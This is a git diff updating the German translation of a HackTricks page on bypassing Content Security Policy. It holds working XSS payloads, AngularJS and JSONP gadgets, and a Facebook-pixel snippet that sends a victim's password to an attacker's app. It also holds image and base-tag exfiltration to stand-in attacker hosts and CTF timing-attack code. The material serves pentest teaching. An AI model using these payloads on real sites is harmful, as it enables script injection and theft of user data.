mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM
This commit is contained in:
Translator
parent
9becc99b53
commit
bc95e4d3b8
@ -4,7 +4,7 @@
|
||||
|
||||
## Was ist CSP
|
||||
|
||||
Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Vielzahl von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.
|
||||
Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.
|
||||
|
||||
Die Implementierung von CSP erfolgt durch **Antwort-Header** oder durch die Einfügung von **Meta-Elementen in die HTML-Seite**. In Übereinstimmung mit dieser Richtlinie setzen Browser diese Vorgaben proaktiv durch und blockieren sofort alle erkannten Verstöße.
|
||||
|
||||
@ -25,7 +25,7 @@ CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
|
||||
|
||||
### Defining Resources
|
||||
|
||||
CSP beschränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
|
||||
CSP beschränkt die Ursprünge für das Laden von sowohl aktiven als auch passiven Inhalten und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -52,29 +52,29 @@ object-src 'none';
|
||||
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
|
||||
- **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
|
||||
- **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
|
||||
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann.
|
||||
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
|
||||
- **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
|
||||
- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähnlich sind.
|
||||
- **sandbox**: Wendet Einschränkungen an, die ähnlich wie das Sandbox-Attribut eines `<iframe>` sind.
|
||||
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
|
||||
- **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
|
||||
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
|
||||
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, Formular, window.location, window.open usw.)
|
||||
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeine Weise navigieren kann (a, Formular, window.location, window.open usw.)
|
||||
|
||||
### Quellen
|
||||
|
||||
- `*`: Erlaubt alle URLs, außer denen mit `data:`, `blob:`, `filesystem:`-Schemas.
|
||||
- `'self'`: Erlaubt das Laden von derselben Domain.
|
||||
- `'data'`: Erlaubt das Laden von Ressourcen über das Datenschema (z. B. Base64-kodierte Bilder).
|
||||
- `'data'`: Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-kodierte Bilder).
|
||||
- `'none'`: Blockiert das Laden von jeder Quelle.
|
||||
- `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
|
||||
- `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler.
|
||||
- `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
|
||||
- `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl).
|
||||
- Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:
|
||||
- Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, ein verwendetes Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und es dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skript laden, das Nonce wiederverwendet</summary>
|
||||
<summary>Skript mit wiederverwendetem Nonce laden</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -96,7 +96,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `filesystem:`: Erlaubt das Laden von Ressourcen vom Dateisystem.
|
||||
- `'report-sample'`: Beinhaltet ein Beispiel des verletzenden Codes im Verletzungsbericht (nützlich für das Debugging).
|
||||
- `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
|
||||
- `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.
|
||||
- `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei gleichnamigen Anfragen, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.
|
||||
- `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umleiten. Nicht empfohlen, da es die Sicherheit schwächt.
|
||||
|
||||
## Unsichere CSP-Regeln
|
||||
@ -115,8 +115,8 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!CAUTION]
|
||||
> Dies funktioniert nicht, für mehr Informationen [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
> [!VORSICHT]
|
||||
> Dies funktioniert nicht, für mehr Informationen [**hier überprüfen**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
@ -137,7 +137,7 @@ Funktionierender Payload:
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
### Fehlender object-src und default-src
|
||||
### Fehlende object-src und default-src
|
||||
|
||||
> [!CAUTION] > **Es scheint, dass dies nicht mehr funktioniert**
|
||||
```yaml
|
||||
@ -161,7 +161,7 @@ Funktionierender Payload:
|
||||
```
|
||||
Es ist jedoch sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt.
|
||||
|
||||
Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_-Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/*** ausgeliefert.
|
||||
Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_-Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
|
||||
|
||||
Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
@ -169,10 +169,10 @@ Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen geling
|
||||
|
||||
Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
### Drittanbieter-Endpunkte + ('unsafe-eval')
|
||||
|
||||
> [!WARNING]
|
||||
> Für einige der folgenden Payloads **ist `unsafe-eval` nicht einmal erforderlich**.
|
||||
> Für einige der folgenden Payloads **wird `unsafe-eval` nicht einmal benötigt**.
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> Der Beitrag zeigt, dass du **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** kannst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
|
||||
> Der Beitrag zeigt, dass Sie **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** können, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -243,7 +243,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Mehr [**Payloads aus diesem Bericht**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
Mehr [**Payloads aus diesem Artikel**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -292,16 +292,16 @@ Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine
|
||||
|
||||
Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:
|
||||
|
||||
| Entity | Allowed Domain | Capabilities |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Entity | Erlaubte Domain | Fähigkeiten |
|
||||
| ----------------- | ------------------------------------------ | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.
|
||||
|
||||
@ -319,21 +319,21 @@ Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [
|
||||
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
|
||||
3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".
|
||||
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.
|
||||
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL zu finden sein könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL ähnlich wie dieser gefunden werden könnte: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
|
||||
|
||||
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
|
||||
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Angreifers im Facebook-Entwicklerkonto zeigt, und um ein benutzerdefiniertes Ereignis wie folgt auszulösen:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele andere Möglichkeiten, wie Sie diese missbrauchen können. Verweisen Sie auf den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
|
||||
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Verweisen Sie auf den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Neben der oben genannten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
|
||||
Neben der oben genannten Umleitung, um Pfadbeschränkungen zu umgehen, gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
|
||||
|
||||
Wenn CSP beispielsweise den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden:
|
||||
```html
|
||||
@ -347,7 +347,7 @@ Dies funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fang
|
||||
|
||||
Durch **Ausnutzung dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**.
|
||||
|
||||
Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server sicherzustellen und dieses Problem zu vermeiden.
|
||||
Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server zu gewährleisten und dieses Problem zu vermeiden.
|
||||
|
||||
Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
@ -361,7 +361,7 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
|
||||
|
||||
Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.
|
||||
|
||||
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und eine XSS zu erreichen.**\
|
||||
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und damit eine XSS zu erreichen.**\
|
||||
Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
@ -393,13 +393,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige von ihnen wurden gelöscht oder behoben)
|
||||
Andere JSONP-Arbitrary-Execution-Endpunkte finden Sie [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (einige von ihnen wurden gelöscht oder behoben)
|
||||
|
||||
### Bypass über Umleitung
|
||||
|
||||
Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, wird sie weiterhin fehlschlagen.
|
||||
Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einer anderen Herkunft führt, die nicht erlaubt ist, wird sie weiterhin fehlschlagen.
|
||||
|
||||
Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
|
||||
Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung jedoch die ursprünglichen Einschränkungen umgehen, wenn sie zu einem anderen Pfad führt.
|
||||
|
||||
Hier ist ein Beispiel:
|
||||
```html
|
||||
@ -419,7 +419,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl die Skripte `/test` als auch `/a/test` von CSP blockiert.
|
||||
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl `/test` als auch `/a/test` Skripte von CSP blockiert.
|
||||
|
||||
Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
|
||||
|
||||
@ -435,7 +435,7 @@ Lies [wie hier](../dangling-markup-html-scriptless-injection/index.html).
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` bedeutet, dass Sie jeden Skript im Code ausführen können (XSS kann Code ausführen) und `img-src *` bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.
|
||||
`'unsafe-inline'` bedeutet, dass Sie jedes Skript im Code ausführen können (XSS kann Code ausführen) und `img-src *` bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.
|
||||
|
||||
Sie können diese CSP umgehen, indem Sie die Daten über Bilder exfiltrieren (in diesem Fall missbraucht das XSS eine CSRF, bei der eine vom Bot zugängliche Seite eine SQLi enthält, und das Flag über ein Bild extrahiert wird):
|
||||
```javascript
|
||||
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild** **erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Mit Service Workern
|
||||
|
||||
@ -478,9 +478,9 @@ Beispiel: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%
|
||||
### img-src \*; via XSS (iframe) - Zeitangriff
|
||||
|
||||
Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\
|
||||
Diesmal können Sie das Opfer dazu bringen, eine Seite in **Ihrer Kontrolle** über **XSS** mit einem `<iframe` zu **laden**. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
|
||||
Diesmal können Sie das Opfer **eine Seite laden** lassen, die **unter Ihrer Kontrolle** steht, über **XSS** mit einem `<iframe`. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
|
||||
|
||||
Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird**. Über SQLi benötigt die **Antwort** aufgrund der Schlaf-Funktion **mehr Zeit**. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
|
||||
Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird** über SQLi, die **Antwort** benötigt **mehr Zeit** aufgrund der Schlaf-Funktion. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -544,9 +544,9 @@ run()
|
||||
|
||||
Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
|
||||
|
||||
Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Für weitere Informationen [**überprüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP-Bypass durch Einschränkung von CSP
|
||||
### CSP-Umgehung durch Einschränkung von CSP
|
||||
|
||||
In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.
|
||||
|
||||
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\
|
||||
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und **bestimmte Inline-Skripte über sha aktiviert werden:**
|
||||
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** zulässt, und spezifische Inline-Skripte über sha aktiviert werden:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -583,7 +583,7 @@ document.querySelector("DIV").innerHTML =
|
||||
- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP.
|
||||
- Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.
|
||||
|
||||
Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellen Lecks sensibler Informationen aufgrund undefinierten Verhaltens führen kann.
|
||||
